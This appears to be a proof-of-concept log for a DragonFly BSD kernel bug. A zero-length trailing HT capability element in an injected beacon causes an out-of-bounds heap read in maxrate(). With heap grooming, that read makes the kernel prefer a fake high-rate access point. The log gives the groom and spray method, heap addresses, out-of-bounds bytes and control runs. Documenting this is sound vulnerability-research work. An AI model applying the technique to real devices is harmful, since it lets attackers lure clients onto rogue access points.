DF-3363 baseline runs -- stock INVARIANTS kernel #0 (Thu Jul 2 06:02:54 UTC 2026 build) Guest: DragonFly dfbsd 6.5-DEVELOPMENT #0 X86_64_GENERIC, 6 vCPU, cc 8.3 Harness: fwscan.ko (software radio fws0 + beacon injection through ieee80211_parse_beacon -> ieee80211_add_scan -> sta_add -> scan_end) ======================================================================= variant 1: 0xff neighbor groom, B's beacon ends in a 2-byte HTCAP IE (id 45, len 0) as the LAST IE of an exactly-64-byte blob ======================================================================= [earlier run, addresses prove adjacency] fwscan: entry[1] mac 02:55:55:55:55:55 rssi 30 blob 0xfffff8008976d280 len 64 <- D (0xff fill) fwscan: entry[3] mac 02:22:22:22:22:22 rssi 30 blob 0xfffff8008976d240 len 64 <- B (victim) (D.blob - B.blob == 0x40 == 64: D's chunk IS the memory right after B's blob; maxrate() reads B.htcap_ie+2..+17 == D's chunk bytes) fwscan: scan_end -> 1 fwscan: post-selection iv_bss mac 02:22:22:22:22:22 bssid 02:22:22:22:22:22 >>> the 5.5 Mbps-only AP with the phantom HT capability WON <<< [stable run with E-spray neighbors; dump shows the exact OOB bytes] fwscan: entry[2] mac 02:22:22:22:22:22 rssi 30 blob 0xfffff80116c09280 len 64 htcap_ie: off 62, ie_len 0, bytes from IE end to blob end: 0 maxrate reads IE+2..IE+17 (18 bytes): 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 (all 18 bytes lie past the 64-byte kmalloc allocation; when the adjacent chunk holds 0xff groom bytes, maxrate consumes them as hc_cap/hc_mcsset and fabricates MCS31-HT40) [e-spray run] fwscan: neighbor spray done (96 live 64B blobs, fill 0xff) fwscan: entry[..] mac 02:22:.. blob .. len 64 blob tail (last 8 bytes): ff ff ff ff ff ff 2d 00 <- trailing HTCAP len 0 bytes at blob_end..+15 (OOB for a trailing short IE): 00 04 66 77 73 31 01 01 82 03 01 01 dd 32 ff ff fwscan: scan_end -> 1 fwscan: post-selection iv_bss mac 02:22:22:22:22:22 <- B (phantom HT) WINS ======================================================================= variant 2 (control): identical but neighbor groom = 0x00 ======================================================================= fwscan: groom done (96 x 64B blobs, fill 0x00, flushed) fwscan: neighbor spray done (96 live 64B blobs, fill 0x00) bytes at blob_end..+15: 00 04 66 77 73 31 01 01 82 03 01 01 dd 32 00 00 fwscan: scan_end -> 1 fwscan: post-selection iv_bss mac 02:11:11:11:11:11 <- A (real 54M) WINS ======================================================================= variant 3 (control): valid 26-byte all-zero HTCAP, 0xff groom ======================================================================= fwscan: groom done (96 x 64B blobs, fill 0xff, flushed) fwscan: entry[..] mac 02:22:.. blob len 64 blob tail (last 8 bytes): 00 00 00 00 00 00 00 00 <- valid zero HTCAP fwscan: scan_end -> 1 fwscan: post-selection iv_bss mac 02:11:11:11:11:11 <- A WINS VERDICT: the ONLY difference between variant 1 and variant 2 is the CONTENT OF KERNEL HEAP MEMORY PAST THE END of B's 64-byte blob. In v1 (0xff beyond the allocation) the kernel picks a 5.5 Mbps phantom "HT" AP over a real 54 Mbps AP; in v2 (zeros) it picks correctly. The out-of-bounds read demonstrably steers association decisions.